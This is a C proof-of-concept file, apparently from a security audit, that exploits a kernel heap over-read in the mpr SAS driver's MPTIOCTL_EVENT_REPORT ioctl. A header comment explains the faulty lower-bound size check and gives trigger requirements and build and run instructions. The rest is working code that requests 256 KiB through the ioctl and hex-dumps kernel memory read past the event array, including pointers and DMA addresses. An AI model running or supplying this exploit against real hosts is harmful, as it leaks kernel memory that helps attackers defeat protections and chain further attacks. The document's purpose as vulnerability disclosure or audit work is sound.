DF-1328 / poc.c
/* * DF-1328 โ mpr_user_event_report kernel-heap info leak PoC. * * Bug: mpr_user.c:2076-2080: * size = data->Size; // uint32_t user-controlled * if (size >= sizeof(sc->recorded_events)) // >= 40000 * copyout(sc->recorded_events, PTRIN(data->PtrEvents), size); * sizeof(sc->recorded_events) = 200 entries * 200 B = 40000 B, but the * copyout length is the user-supplied `size` (up to 0xFFFFFFFF = 4 GiB), * NOT sizeof(recorded_events). The >= check is a *lower* bound, not an * upper bound. A large size reads past recorded_events into the rest of * struct mpr_softc (DMA bus addresses, kernel pointers, locks) and onward * into adjacent kernel heap. * * Trigger: open("/dev/mpr0") + ioctl(MPTIOCTL_EVENT_REPORT). * Device is UID_ROOT/GID_OPERATOR 0640; needs operator-group + an LSI * SAS3+ HBA. mpr_open() returns 0 unconditionally; no ioctl privilege * check. * * REQUIRES HARDWARE (no mpr HBA on the QEMU audit guest โ /dev/mpr0 * does not exist โ open returns ENOENT). See VERDICT.md. * * Build: cc -o poc poc.c -Wall * Run: ./poc (as an operator-group user, mpr-equipped host) */ #include <sys/ioctl.h> #include <sys/types.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MPTIOCTL ('I') typedef struct mpr_event_report { uint32_t Size; /* <-- attacker-controlled copy length */ uint64_t PtrEvents; } mpr_event_report_t; #define MPTIOCTL_EVENT_REPORT _IOWR(MPTIOCTL, 7, mpr_event_report_t) #define LEAK_SIZE (256 * 1024) /* 256 KiB past the 40000 B array */ int main(void) { int fd = open("/dev/mpr0", O_RDWR); if (fd < 0) err(1, "open /dev/mpr0"); unsigned char *leak = calloc(1, LEAK_SIZE); if (!leak) err(1, "calloc"); mpr_event_report_t er; memset(&er, 0, sizeof(er)); er.PtrEvents = (uint64_t)(uintptr_t)leak; er.Size = LEAK_SIZE; /* >= 40000 โ accepted; over-reads heap */ if (ioctl(fd, MPTIOCTL_EVENT_REPORT, &er) < 0) err(1, "ioctl MPTIOCTL_EVENT_REPORT"); fprintf(stderr, "[+] copyout completed; dumping bytes 40000..40256 of softc tail:\n"); for (int i = 40000; i < 40000 + 256 && i < (int)LEAK_SIZE; i += 16) { fprintf(stderr, "%05x ", i); for (int j = 0; j < 16; j++) fprintf(stderr, "%02x ", leak[i + j]); fprintf(stderr, "\n"); } close(fd); return 0; } |